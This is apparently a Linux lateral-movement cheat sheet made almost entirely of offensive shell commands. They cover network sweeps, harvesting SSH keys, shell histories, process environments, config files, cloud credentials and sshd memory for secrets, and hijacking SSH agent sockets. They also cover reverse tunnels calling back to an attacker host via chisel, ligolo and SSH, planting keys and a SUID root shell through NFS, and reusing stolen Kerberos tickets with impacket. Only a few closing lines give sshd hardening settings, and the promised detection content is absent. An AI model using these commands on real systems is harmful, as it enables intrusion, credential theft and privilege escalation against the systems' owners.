Linux Lateral Movement: Attack Techniques and How to Detect Them

# Active hosts in /24 — pure bash, no binaries
for i in $(seq 1 254); do
  (ping -c1 -W1 10.10.10.$i &>/dev/null && echo "10.10.10.$i UP") &
done; wait

# Open ports on a target — bash TCP scan
for port in 22 80 443 445 3306 5432 6379 8080 8443; do
  (echo >/dev/tcp/10.10.10.50/$port) 2>/dev/null && echo "$port open"
done

# Check routing table — what networks are reachable?
ip route
ss -tlnp

# Who has SSH keys and where do they connect?
cat /home/*/.ssh/config 2>/dev/null
cat /root/.ssh/config 2>/dev/null
cat /home/*/.ssh/known_hosts 2>/dev/null

# Recently accessed hosts
cat ~/.bash_history | grep -E "ssh|scp|rsync|sftp"

# SSH keys — check for passphrase-free keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
ssh-keygen -y -f /home/user/.ssh/id_rsa  # passphrase-free = immediate use

# Mounted filesystems — NFS shares, CIFS
mount | grep -E "nfs|cifs|smb"
cat /etc/fstab | grep -v "^#"

# Single hop: reach 10.10.20.5 via compromised 10.10.10.50
ssh -J user@10.10.10.50 user@10.10.20.5

# Multi-hop chain
ssh -J user@10.10.10.50,user@10.10.20.5 user@192.168.1.10

# Add to ~/.ssh/config for persistent pivoting
Host internal-db
  HostName 192.168.1.50
  User dbadmin
  ProxyJump pivot@10.10.10.50

# Local forwarding: bring remote service to attacker
# Access internal PostgreSQL (5432) as localhost:5433
ssh -L 5433:192.168.1.50:5432 user@10.10.10.50 -N

# Remote forwarding: expose attacker port on internal host
# Useful when firewall blocks inbound — push C2 callback outbound
ssh -R 4444:localhost:4444 user@10.10.10.50 -N

# Dynamic SOCKS proxy — route all traffic through compromised host
ssh -D 1080 user@10.10.10.50 -N
# Then: proxychains nmap -sT -Pn 192.168.1.0/24

cat >> ~/.ssh/config << 'EOF'
Host *
  ServerAliveInterval 60
  ServerAliveCountMax 10
  StrictHostKeyChecking no
EOF

# List all agent sockets on the system
find /tmp -name "agent.*" 2>/dev/null
ls /tmp/ssh-*/

# Check who is using agent forwarding
ps aux | grep ssh
env | grep SSH_AUTH_SOCK

# As root — list SSH_AUTH_SOCK for all processes
for pid in $(pgrep -u victim_user ssh-agent); do
  cat /proc/$pid/environ | tr '\0' '\n' | grep SSH_AUTH_SOCK
done

# Use their agent socket
export SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234
ssh-add -l          # List keys in the hijacked agent
ssh user@target     # SSH using their keys — no password needed

# All users' history files
cat /home/*/.bash_history /home/*/.zsh_history /root/.bash_history 2>/dev/null | \
  grep -E "password|passwd|secret|key|token|ssh|mysql|psql|redis" | sort -u

# Commands with embedded credentials
grep -rE "(password|passwd|token|secret|api_key)\s*=\s*['\"]?[^'\"]{4,}" \
  /home /etc /opt /var/www 2>/dev/null

# Current environment
env | grep -iE "pass|token|secret|key|aws|db"

# Other processes' environments (root required)
for pid in $(ls /proc | grep -E "^[0-9]+$"); do
  cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | \
    grep -iE "pass|token|secret|aws_access"
done

# Database credentials
find / -name "*.conf" -o -name "*.config" -o -name "*.env" -o -name ".env" 2>/dev/null | \
  xargs grep -lE "password|DB_PASS|db_password" 2>/dev/null

# Web application configs
grep -rE "password|db_pass|secret_key" \
  /var/www /opt /srv /home 2>/dev/null --include="*.php" \
  --include="*.py" --include="*.rb" --include="*.env"

# SSH private keys world-readable
find / -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519" 2>/dev/null | \
  xargs ls -la 2>/dev/null | grep -v "^-r--------"

# Cloud credentials
cat ~/.aws/credentials
cat ~/.config/gcloud/application_default_credentials.json

# Dump process memory for credential strings — targets sshd, sudo sessions
strings /proc/$(pgrep sshd | head -1)/mem 2>/dev/null | \
  grep -E "[A-Za-z0-9+/]{20,}={0,2}"

# GPG agent — may hold passphrases
gpg-connect-agent "keyinfo --list" /bye 2>/dev/null

# TCP relay — forward all traffic from :8080 to internal host
socat TCP-LISTEN:8080,fork TCP:192.168.1.50:80

# Forward attacker's port to internal service
socat TCP-LISTEN:3307,fork TCP:192.168.1.10:3306

# UDP forwarding (useful for DNS pivoting)
socat UDP-LISTEN:53,fork UDP:8.8.8.8:53

# On attacker server
./chisel server --port 8080 --reverse

# On compromised host
./chisel client 10.10.10.1:8080 R:socks   # SOCKS5 on attacker:1080
./chisel client 10.10.10.1:8080 R:5432:192.168.1.50:5432  # specific port

# Attacker
./proxy -selfcert -laddr 0.0.0.0:11601

# Compromised host
./agent -connect 10.10.10.1:11601 -ignore-cert

# In ligolo proxy console
session          # select agent
start            # start tunnel
# Add route on attacker: ip route add 192.168.1.0/24 dev ligolo

# From compromised host — what's exported?
showmount -e 192.168.1.10

# What's already mounted?
mount | grep nfs
cat /proc/mounts | grep nfs

# Target exports /data with no_root_squash — root on client = root on share
mount -t nfs 192.168.1.10:/data /mnt/nfs -o nolock

# If root_squash is set but files are owned by UID 1001:
# Create a local user with matching UID
useradd -u 1001 -s /bin/bash pivotuser
su pivotuser
ls /mnt/nfs   # access granted by UID match

# Write SSH key into NFS-mounted home directory
echo "ssh-ed25519 AAAA... attacker" >> /mnt/nfs/.ssh/authorized_keys

mount -t nfs 192.168.1.10:/shared /mnt/nfs
cp /bin/bash /mnt/nfs/rootbash
chmod u+s /mnt/nfs/rootbash
# On target host:
/shared/rootbash -p   # drops root shell

# Locate ticket cache files
find /tmp -name "krb5cc_*" 2>/dev/null
ls -la /tmp/krb5cc_*
env | grep KRB5CCNAME

# List tickets in a cache
klist -c /tmp/krb5cc_1000

# Copy ticket to attacker (or use directly)
export KRB5CCNAME=/tmp/krb5cc_1000
klist   # confirms ticket validity

# Use stolen ticket to authenticate to other hosts
export KRB5CCNAME=/tmp/stolen.ccache
python3 impacket/examples/psexec.py -k -no-pass domain.local/admin@dc01.domain.local

# secretsdump via Kerberos ticket
python3 impacket/examples/secretsdump.py -k -no-pass dc01.domain.local

# /etc/ssh/sshd_config — disable on servers that don't need it
AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no

# For jump hosts where forwarding is needed — restrict to specific users
Match User jumpuser
    AllowAgentForwarding yes
    AllowTcpForwarding yes

Host jumphost.internal
  ForwardAgent yes

Host *
  ForwardAgent no